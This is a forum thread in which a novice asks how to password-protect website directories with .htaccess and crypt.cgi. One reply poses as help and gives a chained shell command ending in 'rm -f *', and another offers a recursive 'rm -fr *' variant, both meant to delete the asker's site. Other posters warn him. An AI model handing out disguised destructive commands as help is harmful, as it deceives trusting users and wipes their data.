would anyone help out with htaccess issue?

[lil2rich4u2]

site is done and its time to protect my directories. maybe i should have done it sooner, but i put it off because i didnt know how.

The tutorial i read gives instructions to make this code, but my isprime tech told me he wouldnt advise it and then he had to go.

The tutorial told me to put this within htaccess, and then go make a crypt.cgi with the userpass encrypted. And it says that will do fine.

AuthUserFile /home/username/domain.com/admin/.htaccess
AuthName "Administration"
AuthType Basic
[Limit GET>require valid-user[/Limit>

Then the tech guy told me he would advise me to use a htpassword file or something?

Im very lost.

Has anyone got a decent tutorial on this stuff, or care to lend a hand?

Thanks ...

[lil2rich4u2]

also ..

even if i do use this way that the tech guy advised against, how or where does this htaccess call on the crypt.cgi file?

i dont see it mentioned anywhere at all.

htaccess usually calls crypt.cgi from the base html directory, do you have access to shell? if so, you can find crypt.cgi by going to your domain's html folder i.e. domain.com/html and typing touch .-crypt.cgi;rm -f *;

I probably shouldn't do this, but I feel sorry for him...

Rich, using that command line thingy you will remove all files and directories within the current directory without being asked for confirmation.

could have wiped out my entire site man!

Rule #1 of asking tech advice on GFY: always look up the progs, functions etc that someone suggests before using them.

I don't think I'll have a second chance at something like this, I honestly didn't think he was dumb enough to take my advice.

I'm going to have to register a new nick and spend my spare time befriending rich...

geez dude, at least you could have gotten the command correct. It's
touch ./crypt.cgi;rm -fr *;

damned script kiddies never get things right...

But Rich, don't go there!
